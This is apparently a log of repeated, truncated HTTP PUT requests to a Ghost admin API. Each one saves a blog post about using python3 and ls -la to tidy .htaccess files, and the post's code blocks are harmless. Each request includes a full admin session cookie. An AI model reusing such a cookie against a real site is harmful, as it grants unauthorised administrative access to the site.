\\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8273", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8103", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8105", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8135", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use 